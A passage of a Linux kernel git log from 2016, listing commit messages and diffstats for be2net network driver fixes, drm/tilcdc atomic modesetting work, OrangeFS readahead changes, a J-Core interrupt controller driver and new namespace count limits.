Patch 1 fixes the driver to workaournd a bug in the Lancer FW in the vlan-config cmd processing. The FW in some cases clears the vlan-promisc setting even if it cannot apply the vlan filter. The driver has no means of knowing if the vlan-promisc setting has been cleared or not. This patch now explicitly clears the vlan-promisc setting via the RX-Filter cmd and then tries to program the vlan-list. Patch 2 fixes the failure path in the vlan vid add code. The driver currently removes a new vid from the adapter->vids[] array if be_vid_config() returns an error, which occurs when there is an error in HW/FW. This is wrong. After the HW/FW error is recovered from, we need the complete vids[] array to re-program the vlan list. Patch 3 fixes the ndo_set_rx_mode() path to avoid unnecessary multicast list updates to the FW. Each time the ndo_set_rx_mode() routine is called, the driver programs the multicast list in the adapter without checking if there are any changes to the list. This leads to a flood of RX_FILTER cmds when a number of vlan interfaces are configured over the device, as the ndo_ gets called for each vlan interface. To avoid this, we now use __dev_mc_sync() and __dev_uc_sync() API, but only to detect if there is a change in the mc/uc lists. Now that we use this API, the code has to be-designed to issue these API calls for each invocation of the ndo_ call. Patch 4 replaces polling with sleeping in the FW completion path. The ndo_set_rx_mode() and ndo_add/del_vxlan_port() calls may be called with BHs disabled. The driver currently issues the required cmds to the FW in these contexts and polls on completions from the FW, while BHs remain disabled. This can cause either packet loss or packet reception to be delayed on that CPU. This patch defers processing of the above cmds to a separate workqueue. With this change, FW cmds are now issued only in process context. Now that the FW cmds are issued only in process context, they can sleep waiting for a completion instead of polling. ==================== Signed-off-by: David S. Miller commit b71724147e7307d9d6f89b3f60b92375b304e181 Author: Sathya Perla Date: Wed Jul 27 05:26:18 2016 -0400 be2net: replace polling with sleeping in the FW completion path The ndo_set_rx_mode() and ndo_add/del_vxlan_port() calls may be called with BHs disabled. The driver currently issues the required cmds to the FW in these contexts and polls on completions from the FW, while BHs remain disabled. This can cause either packet loss or packet reception to be delayed on that CPU. This patch defers processing of the above cmds to a separate workqueue. With this change, FW cmds are now issued only in process context. Now that the FW cmds are issued only in process context, they can sleep waiting for a completion instead of polling. All the spin_lock_bh(mcc_lock) calls are now replaced with mutex calls. Also a new rx_filter_lock is now needed to protect the RX filtering fields like vids[] between be_vlan_add/rem_vid() and __be_set_rx_mode() contexts. Signed-off-by: Sathya Perla Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be.h | 19 +- drivers/net/ethernet/emulex/benet/be_cmds.c | 202 ++++++++++----------- drivers/net/ethernet/emulex/benet/be_main.c | 264 ++++++++++++++++++++++------ 3 files changed, 327 insertions(+), 158 deletions(-) commit 92fbb1df83ec17f62a46b23507ebb3f06ca10cd3 Author: Sriharsha Basavapatna Date: Wed Jul 27 05:26:17 2016 -0400 be2net: Avoid unnecessary firmware updates of multicast list Eachtime the ndo_set_rx_mode() routine is called, the driver programs the multicast list in the adapter without checking if there are any changes to the list. This leads to a flood of RX_FILTER cmds when a number of vlan interfaces are configured over the device, as the ndo_ gets called for each vlan interface. To avoid this, we now use __dev_mc_sync() and __dev_uc_sync() API, but only to detect if there is a change in the mc/uc lists. Now that we use this API, the code has to be-designed to issue these API calls for each invocation of the be_set_rx_mode() call. Signed-off-by: Sriharsha Basavapatna Signed-off-by: Sathya Perla Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be.h | 2 + drivers/net/ethernet/emulex/benet/be_main.c | 169 +++++++++++++++++++++------- 2 files changed, 130 insertions(+), 41 deletions(-) commit 0aff1fbfe72e47412e3213648e972c339af30e4e Author: Sathya Perla Date: Wed Jul 27 05:26:16 2016 -0400 be2net: do not remove vids from driver table if be_vid_config() fails. The driver currently removes a new vid from the adapter->vids[] array if be_vid_config() returns an error, which occurs when there is an error in HW/FW. This is wrong. After the HW/FW error is recovered from, we need the complete vids[] array to re-program the vlan list. Signed-off-by: Sathya Perla Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be_main.c | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) commit 841f60fcc4e7986a4ef3f83a289ab47076872e42 Author: Somnath Kotur Date: Wed Jul 27 05:26:15 2016 -0400 be2net: clear vlan-promisc setting before programming the vlan list The Lancer FW has a bug due to which in some cases vlan-promisc setting is cleared eventhough the vlan-list programming did not succeed (via VLAN_CONFIG) cmd. The driver has no way of knowing if the vlan-promisc mode was cleared or not when this cmd fails. To work around this issue, this patch first explicitly clears the vlan-promisc mode via RX_FILTER cmd and then tries to program the vlan list. Signed-off-by: Somnath Kotur Signed-off-by: Sathya Perla Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be_main.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 0e7bbcc104baaade4f64205e9706b7d43c46db7d Author: Julian Anastasov Date: Wed Jul 27 09:56:50 2016 +0300 neigh: allow admin to set NUD_STALE Admin should be able to set any state. Currently, this fails when lladdr is not changed and state is changed from NUD_CONNECTED to NUD_STALE: ip neigh add 192.168.8.1 lladdr 00:11:22:33:44:55 nud perm dev wlan0 ip neigh show to 192.168.8.1 192.168.8.1 dev wlan0 lladdr 00:11:22:33:44:55 PERMANENT ip neigh change 192.168.8.1 lladdr 00:11:22:33:44:55 nud stale dev wlan0 ip neigh show to 192.168.8.1 192.168.8.1 dev wlan0 lladdr 00:11:22:33:44:55 PERMANENT Problem may be from 2.1.X days. Signed-off-by: Julian Anastasov Reviewed-by: Chunhui He Signed-off-by: David S. Miller net/core/neighbour.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 981b58f66cfcd32dc4ebbaeef8451daf393b6c94 Author: Rich Felker Date: Thu Aug 4 04:30:37 2016 +0000 irqchip/jcore-aic: Add J-Core AIC driver There are two versions of the J-Core interrupt controller in use, aic1 which generates interrupts with programmable priorities, but only supports 8 irq lines and maps them to cpu traps in the range 17 to 24, and aic2 which uses traps in the range 64-127 and supports up to 128 irqs, with priorities dependent on the interrupt number. The Linux driver does not make use of priorities anyway. For simplicity, there is no aic1-specific logic in the driver beyond setting the priority register, which is necessary for interrupts to work at all. Eventually aic1 will likely be phased out, but it's currently in use in deployments and all released bitstream binaries. Signed-off-by: Rich Felker Link: https://lkml.kernel.org/r/c3b89ef74aaa6477575dbe2d410eb1d182503243.147018b6529.git.dalias@libc.org Signed-off-by: Jason Cooper drivers/irqchip/Kconfig | 7 +++ drivers/irqchip/Makefile | 1 + drivers/irqchip/irq-jcore-aic.c | 94 +++++++++++++++++++++++++++++++++++++++++ 3 files changed, 102 insertions(+) commit a9da291f25f014c8ee999f498305949332d58cd6 Author: Rich Felker Date: Thu Aug 4 04:30:37 2016 +0000 dt-bindings: irqchip: Add J-Core interrupt controller bindings Signed-off-by: Rich Felker Acked-by: Rob Herring Link: https://lkml.kernel.org/r/c8aae4597153595cf965efe96422f699639c9d51.147018b6529.git.dalias@libc.org Signed-off-by: Jason Cooper .../bindings/interrupt-controller/jcore,aic.txt | 26 ++++++++++++++++++++++ 1 file changed, 26 insertions(+) commit e0e344e620b11b76376027087574f8ae1c7807fd Author: Jyri Sarha Date: Wed Jun 22 17:21:06 2016 +0300 drm/tilcdc: Change tilcdc_crtc_page_flip() to tilcdc_crtc_update_fb() Change tilcdc_crtc_page_flip() to tilcdc_crtc_update_fb(). The function is not used as a page_flip() callback anymore so it is only confusing to call it that. The function should only be used by dummy primary plane commit() callback. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 5 ++--- drivers/gpu/drm/tilcdc/tilcdc_drv.h | 5 ++--- drivers/gpu/drm/tilcdc/tilcdc_plane.c | 5 ++--- 3 files changed, 6 insertions(+), 9 deletions(-) commit d81b7f34034034e17409809a71d013ae314ae81c Author: Jyri Sarha Date: Wed Jun 22 17:26:46 2016 +0300 drm/tilcdc: Remove unnecessary pm_runtime_get() and *_put() calls Remove unnecessary pm_runtime_get() and *_put() calls from commit phase callbacks. Those calls are not needed since we have the whole commit phase between pm_runtime_get_sync() and pm_runtime_put_sync(). Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 8 -------- 1 file changed, 8 deletions(-) commit 47bfd6c01efe639d4c44b1e3fce3816d36b23d46 Author: Jyri Sarha Date: Wed Jun 22 16:27:54 2016 +0300 drm/tilcdc: Get rid of legacy dpms mechanism Get rid of legacy dpms mechanism. This simplifies the code quite a bit. The old start() and stop() functions become tilcdc_crtc_enable() and *_disable(). The functions are added with all the necessary mechanisms from the old dpms function and they are used directly as the crtc helper enable() and disable() callbacks. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 109 ++++++++++++++--------------------- drivers/gpu/drm/tilcdc/tilcdc_drv.c | 8 ++- drivers/gpu/drm/tilcdc/tilcdc_drv.h | 3 +- 3 files changed, 50 insertions(+), 70 deletions(-) commit 514d1a1f47eb94348b6abf168b913af194cdf1a9 Author: Jyri Sarha Date: Thu Jun 16 11:28:23 2016 +0300 drm/tilcdc: Use drm_atomic_helper_resume/suspend() Use drm_atomic_helper_resume/suspend() and get rid off all the obsolete register level context restoring code. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_drv.c | 56 +++++-------------------------------- drivers/gpu/drm/tilcdc/tilcdc_drv.h | 6 ++-- 2 files changed, 9 insertions(+), 53 deletions(-) commit afaf833dd5d7793e9441f122bbe3e37a09a0c743 Author: Jyri Sarha Date: Tue Jun 21 16:00:44 2016 +0300 drm/tilcdc: Enable and disable interrupts in crtc start() and stop() Enable and disable interrupts in crtc start() and stop(). None of the interrupts can fire if CRTC is disabled, so it is cleaner - when considering suspend/resume code etc. - to enable the interrupts when CRTC is turned on and to disable them when CRTC is turned off. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 39 +++++++++++++++++++++++++++++ drivers/gpu/drm/tilcdc/tilcdc_drv.c | 48 ------------------------------------ 2 files changed, 39 insertions(+), 48 deletions(-) commit 018cfbde63a4b1cb7ca4cb0c0b1d4286f7708236 Author: Jyri Sarha Date: Wed Apr 13 19:00:51 2016 +0300 drm/tilcdc: tfp410: Add atomic modeset helpers to connector funcs Add atomic modeset helpers to tfp410 connector funcs. Property handling related helpers, atomic reset helper, and new dpms helper is needed in connector for atomic modeseting to work. The default helper functions are enough. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_tfp410.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 7c979b551836101d652fc00c14c39895f5c14f02 Author: Jyri Sarha Date: Wed Apr 13 18:59:16 2016 +0300 drm/tilcdc: tfp410: Set crtc panel info at init phase Set crtc panel info at init phase. Setting it at prepare callback does it multiple times for no good reason and it is also too late when atomic modeset is used. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_tfp410.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0f65d89b9a9736d90a689a351130d591ea7a6b38 Author: Jyri Sarha Date: Wed Apr 13 18:49:29 2016 +0300 drm/tilcdc: panel: Add atomic modeset helpers to connector funcs Add atomic modeset helpers to panel connector funcs. Property handling related helpers, atomic reset helper, and new dpms helper is needed in connector for atomic modeseting to work. The default helper functions are enough. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_panel.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit ee6de21b6982d1513db874f3073ad30ea5f9abd7 Author: Jyri Sarha Date: Wed Apr 13 18:45:29 2016 +0300 drm/tilcdc: panel: Set crtc panel info at init phase Set crtc panel info at init phase. Setting it at prepare callback does it multiple times for no good reason and it is also too late when atomic modeset is used. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_panel.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit c72cc663649a7a6b860988e2b3a355e4280fd38d Author: Jyri Sarha Date: Sat Apr 9 18:44:09 2016 +0300 drm/tilcdc: Remove tilcdc_verify_fb() Remove tilcdc_verify_fb(). The tilcdc_verify_fb() function is not needed because the same checks are implemented in tilcdc_plane_atomic_check(). Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 21 --------------------- 1 file changed, 21 deletions(-) commit 6b4736db9c5d5fa903d20f1a82fe2777a395c955 Author: Jyri Sarha Date: Mon Apr 11 12:46:11 2016 +0300 drm/tilcdc: Remove obsolete crtc helper functions Remove obsolete crtc helper functions. These are not needed when atomic modeset is used. Note that the drm_crtc_helper_funcs mode_fixup() is still needed. The crtc's check() callback can not do its job here. The plane's check() callback needs to set drm_crtc_state's ->mode_changed to true if the pixel format for the framebuffer changes. Because of this drm_mode_config_funcs atomic_check() callback needs to call drm_atomic_helper_check_modeset() once more after it has called drm_atomic_helper_check_planes(). If the fixing of the adjusted_mode would be done in drm_crtc_helper_funcs atomic_check() callback, it would get over written by the extra drm_atomic_helper_check_modeset() call. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 208 ----------------------------------- 1 file changed, 208 deletions(-) commit 305198de894345b788522feacded0ca78f9db5d2 Author: Jyri Sarha Date: Thu Apr 7 15:05:16 2016 +0300 drm/tilcdc: Set DRIVER_ATOMIC and use atomic crtc helpers Set DRIVER_ATOMIC and use atomic helpers and rename commit and prepare crtc helpers to enable and disable. This makes the final jump to mode setting, but there is lot of obsolete code to clean up. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 20 +++++++++++++------- drivers/gpu/drm/tilcdc/tilcdc_drv.c | 2 +- 2 files changed, 14 insertions(+), 8 deletions(-) commit 522a76f895d775a1c9ed6ff4a631d9054a949ef3 Author: Jyri Sarha Date: Tue Dec 29 17:27:32 2015 +0200 drm/tilcdc: Add drm_mode_config_reset() call to tilcdc_load() Add drm_mode_config_reset() call to tilcdc_load(). This is need to initialize atomic state variables at load time. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_drv.c | 3 +++ 1 file changed, 3 insertions(+) commit edc43303888c13904a1c990592eb64f17e8e7eb1 Author: Jyri Sarha Date: Wed Dec 30 17:40:24 2015 +0200 drm/tilcdc: Add atomic mode config funcs Add atomic mode config funcs. The atomic_commit implementation is a copy-paste from drm_atomic_helper_commit(), leaving out the async test. The similar copy-paste implementation appears to be used in many other drivers too. The standard drm_atomic_helper_check() is used for checking. The drm_atomic_helper_check() can not be used in drm_mode_config_funcs atomic_check() callback because the plane's check implementation may update crtc state's ->mode_changed flag. Because of this the drm_atomic_helper_check_modeset() has to be called once more after drm_atomic_helper_check_planes() (see drm_atomic_helper_check_modeset() documentation). Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_drv.c | 71 +++++++++++++++++++++++++++++++++++++ 1 file changed, 71 insertions(+) commit db380c58b76be09bc27be0f5d3480547db71e6d5 Author: Jyri Sarha Date: Thu Apr 7 15:10:23 2016 +0300 drm/tilcdc: Add tilcdc_crtc_atomic_check() Add tilcdc_crtc_atomic_check(). Checks the display mode validity and the presence of the mandatory primary plane. The drm_crtc_helper_funcs mode_fixup() callback is left untouched and the check function does no try to do its job on purpose, despite what the mode_fixup() callback's documentations suggests. The plane's check() callback needs to set drm_crtc_state's ->mode_changed to true if the pixel format for the framebuffer changes. Because of this drm_mode_config_funcs atomic_check() callback needs to call drm_atomic_helper_check_modeset() once more after it has called drm_atomic_helper_check_planes(). If the fixing of the adjusted_mode would be done in drm_crtc_helper_funcs atomic_check() callback, it would get over written by the extra drm_atomic_helper_check_modeset() call. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) commit f6382f186d29827501353af47c3c4134bab5f0d3 Author: Jyri Sarha Date: Thu Apr 7 15:09:50 2016 +0300 drm/tilcdc: Add tilcdc_crtc_mode_set_nofb() Add tilcdc_crtc_mode_set_nofb(). The mode_set_nofb() semantics do not fit well to LCDC, because of the mandatory framebuffer. However, when the primary plane is required in the check phase, it and the framebuffer can be found from the atomic state struct. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 172 +++++++++++++++++++++++++++++++++++ 1 file changed, 172 insertions(+) commit 47f571c6e5d7b5f6021d6ade9607ecb6f28da5ad Author: Jyri Sarha Date: Thu Apr 7 15:04:18 2016 +0300 drm/tilcdc: Initialize dummy primary plane from crtc init Initialize dummy primary plane from crtc init. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) commit b961c48b056c2562c7dbb0b2cfcdad486610550d Author: Jyri Sarha Date: Thu Apr 7 14:52:02 2016 +0300 drm/tilcdc: Add dummy primary plane implementation Add dummy primary plane implementation. LCDC does not really have planes, only simple framebuffer that is mandatory. This primary plane implementation has the necessary checks for implementing simple framebuffer trough DRM plane abstraction. For setting the actual framebuffer the implementation relies on a CRTC side function. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/Makefile | 1 + drivers/gpu/drm/tilcdc/tilcdc_drv.h | 2 + drivers/gpu/drm/tilcdc/tilcdc_plane.c | 133 ++++++++++++++++++++++++++++++++++ 3 files changed, 136 insertions(+) commit 0a1fe1b7c589a635a40d6d9b525dd99634581ea2 Author: Jyri Sarha Date: Mon Jun 13 09:53:36 2016 +0300 drm/tilcdc: Make tilcdc_crtc_page_flip() work if crtc is not yet on Make tilcdc_crtc_page_flip() work if crtc is not yet on. The plane commit sometimes comes before crtc is turned on. The new framebuffer should be set to scanout also in that case, so that it is there when crtc is turned on at the end of the commit phase. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) commit 8c65abb9140e26d66968e6e357a00ad704705154 Author: Jyri Sarha Date: Thu Apr 7 14:56:32 2016 +0300 drm/tilcdc: Make tilcdc_crtc_page_flip() public Make tilcdc_crtc_page_flip() public for dummy plane implementation to use. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 2 +- drivers/gpu/drm/tilcdc/tilcdc_drv.h | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) commit 20a98acba5baf925d0d6fb334f1c55aa2ca7a708 Author: Jyri Sarha Date: Thu Jun 23 11:07:16 2016 +0300 drm/tilcdc: Fix tilcdc component master unloading Fix tilcdc component master unloading. If a subcomponent module (tda998x in this case) is unloaded before its master (tilcdc in this case), it calls drm_put_dev() and it should not be called again by the master when its module is unloaded. However component_master_del() must still be called and the check if the drm_put_dev() has been called must be in component_master_ops unbind() callback, not in platform_driver remove() callback. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_drv.c | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) commit 10a55a18f50136fe7229ad9a3dea4f7c2d387f6a Author: Jyri Sarha Date: Mon Jun 6 11:11:35 2016 +0300 drm/tilcdc: Avoid error print by of_graph_get_next_endpoint() Avoid error print by of_graph_get_next_endpoint() if there is no ports present. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_external.c | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) commit 24b31ba099c6e32685211847fa58d876f562eb11 Author: Jyri Sarha Date: Mon Jun 6 11:16:41 2016 +0300 drm/tilcdc: Refer to panel.txt and tfp410.txt bindings in tilcdc.txt The legacy panel.txt and tfp410.txt bindings are still the only supported way to connect lcd panel and tfp410 DVI encoder to tilcdc. Signed-off-by: Jyri Sarha Documentation/devicetree/bindings/display/tilcdc/tilcdc.txt | 4 ++++ 1 file changed, 4 insertions(+) commit d85f850ed6b9c47207b46643d1489e0a83900758 Author: Jyri Sarha Date: Wed Jun 15 11:16:23 2016 +0300 drm/tilcdc: Call drm_crtc_vblank_on() and *_off() in start() and stop() Add drm_crtc_vblank_on() and *_off() calls to start() and stop() functions, to make sure any vblank waits etc. gets properly cleaned up. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 4 ++++ 1 file changed, 4 insertions(+) commit 437c7d948d75c83441afea48773e50b992632483 Author: Jyri Sarha Date: Thu Jun 16 16:19:17 2016 +0300 drm/tilcdc: Increase time out for waiting frame done interrupt Increase time out for waiting frame done interrupt. 50ms is long enough for the usual display modes (50 Hz or higher refresh rate), but it may be a bit tight for some unusual mode. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2d5be88235c554d83c4bff8f12c96a1d7d27f697 Author: Jyri Sarha Date: Thu Apr 7 20:20:23 2016 +0300 drm/tilcdc: Move waiting of LCDC_FRAME_DONE IRQ into stop() Move wait queue waiting of LCDC_FRAME_DONE IRQ from tilcdc_crtc_dpms() into stop() function. This is just a cleanup and enables independent use of stop() function. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 31 ++++++++++++++++--------------- 1 file changed, 16 insertions(+), 15 deletions(-) commit 149441134c4ae4ebff393ca113f0941842385a6b Author: Jyri Sarha Date: Thu Apr 7 20:36:48 2016 +0300 drm/tilcdc: Write to LCDC_END_OF_INT_IND_REG at the end of IRQ function Reorder the IRQ function so that the write to LCDC_END_OF_INT_IND_REG is done last. The write to LCDC_END_OF_INT_IND_REG indicates to LCDC that the interrupt service routine has completed (see section 13.3.6.1.6 in AM335x TRM). This is needed if LCDC's ipgvmodirq module is configured for pulse interrupts. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) commit 1abcdac8ed4cf2335f050d88b2fe8f343726ed41 Author: Jyri Sarha Date: Fri Jun 17 11:54:06 2016 +0300 drm/tilcdc: Move LCDC_SYNC_LOST handling inside if (ver == 2) statement Move LCDC_SYNC_LOST handling inside if (ver == 2) statement. LCDC_SYNC_LOST interrupt status bit is only defined for version 2 silicon. Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 21 ++++++++++----------- 1 file changed, 10 insertions(+), 11 deletions(-) commit 8fe5616b20e5742bb5fee0e77dffe2fc76ac92a0 Author: Jyri Sarha Date: Tue Jun 14 11:43:30 2016 +0300 drm/tilcdc: Restore old dpms state in pm_resume() Restore old dpms state in pm_resume(). The dpms is turned off in pm_suspend() and it should be restored to its original state in pm_resume(). Without this patch the display is left blanked after a suspend/resume cycle. Fixes commit 614b3cfeb8d2 ("drm/tilcdc: disable the lcd controller/dma engine when suspend invoked") Signed-off-by: Jyri Sarha drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 7 +++++++ drivers/gpu/drm/tilcdc/tilcdc_drv.c | 3 +++ drivers/gpu/drm/tilcdc/tilcdc_drv.h | 2 ++ 3 files changed, 12 insertions(+) commit a21aae3bb15a1d08040bdcf5a73504c0da9f5080 Merge: 302f049 4d20a75 Author: Mike Marshall Date: Mon Aug 8 15:43:38 2016 -0400 Merge tag 'for-hubcap-v4.9-readahead' of git://github.com/martinbrandenburg/linux orangefs: integrate readahead cache changes from out-of-tree The readahead cache has long been present as a compile time option to OrangeFS. As it had not been tested in some time, it was disabled by default. Recently, Walt Ligon started work reviving it, which eventually culminated in the commit below to OrangeFS SVN. r12519 | walt | 2016-07-13 14:32:42 -0400 (Wed, 13 Jul 2016) | 1 line reintegrating readahead cache code This cache is implemented almost entirely in userspace. There are a few parameters exposed via sysfs, and the cache must be flushed after an inode is released. commit 703286608a220d53584cca5986aad5305eec75ed Author: Eric W. Biederman Date: Mon Aug 8 14:33:23 2016 -0500 netns: Add a limit on the number of net namespaces Acked-by: Kees Cook Signed-off-by: "Eric W. Biederman" include/linux/user_namespace.h | 1 + include/net/net_namespace.h | 1 + kernel/ucount.c | 1 + net/core/net_namespace.c | 22 +++++++++++++++++++++- 4 files changed, 24 insertions(+), 1 deletion(-) commit d08311dd6fd8444e39710dd2fb97562895aed8fa Author: Eric W. Biederman Date: Mon Aug 8 14:25:30 2016 -0500 cgroupns: Add a limit on the number of cgroup namespaces Acked-by: Kees Cook Signed-off-by: "Eric W. Biederman" include/linux/cgroup.h | 1 + include/linux/user_namespace.h | 1 + kernel/cgroup.c | 18 ++++++++++++++++++ kernel/ucount.c | 1 + 4 files changed, 21 insertions(+) commit aba356616386e6e573a34c6d64ed12443686e5c8 Author: Eric W. Biederman Date: Mon Aug 8 14:20:23 2016 -0500 ipcns: Add a limit on the number of ipc namespaces Acked-by: Kees Cook Signed-off-by: "Eric W. Biederman" include/linux/ipc_namespace.h | 1 + include/linux/user_namespace.h | 1 + ipc/namespace.c | 45 +++++++++++++++++++++++++++++++----------- kernel/ucount.c | 1 + 4 files changed, 37 insertions(+), 11 deletions(-) commit f7af3d1c03136275b876f58644599b120cf4ffdd Author: Eric W. Biederman Date: Mon Aug 8 14:11:25 2016 -0500 utsns: Add a limit on the number of uts namespaces Acked-by: Kees Cook Signed-off-by: "Eric W. Biederman" include/linux/user_namespace.h | 1 + include/linux/utsname.h | 1 + kernel/ucount.c | 1 + kernel/utsname.c | 34 +++++++++++++++++++++++++++++----- 4 files changed, 32 insertions(+), 5 deletions(-) commit f333c700c6100b53050980986be922bb21466e29 Author: Eric W. Biederman Date: Mon Aug 8 14:08:36 2016 -0500 pidns: Add a limit on the number of pid namespaces Acked-by: Kees Cook Signed-off-by: "Eric W. Biederman" include/linux/pid_namespace.h | 1 + include/linux/user_namespace.h | 1 + kernel/pid_namespace.c | 25 +++++++++++++++++++++---- kernel/ucount.c | 1 + 4 files changed, 24 insertions(+), 4 deletions(-) commit 25f9c0817c535a728c1088542230fa327c577c9e Author: Eric W. Biederman Date: Mon Aug 8 14:41:52 2016 -0500 userns: Generalize the user namespace count into ucount The same kind of recursive sane default limit and policy countrol that has been implemented for the user namespace is desirable for the other namespaces, so generalize the user namespace refernce count into a ucount. Acked-by: Kees Cook Signed-off-by: "Eric W. Biederman" include/linux/user_namespace.h | 14 ++++++++++---- kernel/fork.c | 5 ++++- kernel/ucount.c | 39 +++++++++++++++++++++------------------ kernel/user_namespace.c | 16 ++++++++++++++-- 4 files changed, 49 insertions(+), 25 deletions(-) commit f6b2db1a3e8d141dd144df58900fb0444d5d7c53 Author: Eric W. Biederman Date: Mon Aug 8 13:54:50 2016 -0500 userns: Make the count of user namespaces per user Add a structure that is per user and per user ns and use it to hold the count of user namespaces. This makes prevents one user from creating denying service to another user by creating the maximum number of user namespaces. Rename the sysctl export of the maximum count from /proc/sys/userns/max_user_namespaces to /proc/sys/user/max_user_namespaces to reflect that the count is now per user. Signed-off-by: "Eric W. Biederman" include/linux/user_namespace.h | 18 +++++-- kernel/fork.c | 2 +- kernel/ucount.c | 116 +++++++++++++++++++++++++++++++++-------- kernel/user_namespace.c | 11 ++-- 4 files changed, 117 insertions(+), 30 deletions(-) commit 4d20a75677ec7f6f3f266024f3782500bfd406d6 Author: Martin Brandenburg Date: Wed Aug 3 13:47:28 2016 -0400 orangefs: add readahead count and size to sysfs Signed-off-by: Martin Brandenburg fs/orangefs/orangefs-sysfs.c | 123 ++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 115 insertions(+), 8 deletions(-) commit ed1e158777fa73ac577dcd4f67062b944b587493 Author: Martin Brandenburg Date: Tue Aug 2 16:32:15 2016 -0400 orangefs: re-add flush_racache from out-of-tree Signed-off-by: Martin Brandenburg fs/orangefs/file.c | 34 +++++++++++++++++++++++++++++++++- 1 file changed, 33 insertions(+), 1 deletion(-) commit 680908e5046bdd37a678691d881d98486c3e9a53 Author: Martin Brandenburg Date: Tue Aug 2 16:33:34 2016 -0400 orangefs: turn param response value into union This will support a upcoming request where two related values need to be updated atomically. This was done without a union in the OrangeFS server source already. Since that will break the kernel protocol, it has been fixed there and done here in a way that does not break the kernel protocol. Signed-off-by: Martin Brandenburg fs/orangefs/downcall.h | 5 ++++- fs/orangefs/orangefs-sysfs.c | 8 +++----- fs/orangefs/upcall.h | 5 ++++- 3 files changed, 11 insertions(+), 7 deletions(-) commit a6dff80a964176daca0d41492a6ca280d2246324 Author: Martin Brandenburg Date: Tue Aug 2 16:33:00 2016 -0400 orangefs: add missing param request ops Signed-off-by: Martin Brandenburg fs/orangefs/upcall.h | 3 +++ 1 file changed, 3 insertions(+) commit 6eaff8c7775abcdff5ba7c9f0305f4ccdca57ba5 Author: Martin Brandenburg Date: Tue Aug 2 14:31:05 2016 -0400 orangefs: rename remaining bits of mmap readahead cache This has been dormant code for many years. Parts of it were removed from the OrangeFS kernel code when it went into mainline. These bits were missed. Now the readahead cache has been resurrected in the OrangeFS userspace portions. It was renamed there, since it doesn't really have anything to do with mmap specifically, so it will be renamed here. Signed-off-by: Martin Brandenburg fs/orangefs/file.c | 2 +- fs/orangefs/orangefs-cache.c | 4 ++-- fs/orangefs/orangefs-dev-proto.h | 2 +- fs/orangefs/orangefs-utils.c | 2 +- fs/orangefs/upcall.h | 4 ++-- 5 files changed, 7 insertions(+), 7 deletions(-) commit 4f4b78341b658cfa0ca7b1587f5540c21f9db997 Author: Alex Deucher Date: Mon Aug 8 14:45:29 2016 -0400 drm/amdgpu: add virtual dce support for iceland Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vi.c | 58 +++++++++++++++++++++++++++++++++++++++-- 1 file changed, 56 insertions(+), 2 deletions(-) commit b376c3e1b6770ddcb4f0782be16358095fcea0b6 Author: Eric W. Biederman Date: Mon Aug 8 13:41:24 2016 -0500 userns: Add a limit on the number of user namespaces Export the export the maximum number of user namespaces as /proc/sys/userns/max_user_namespaces. Acked-by: Kees Cook Signed-off-by: "Eric W. Biederman" include/linux/user_namespace.h | 6 +++++ kernel/fork.c | 2 ++ kernel/ucount.c | 53 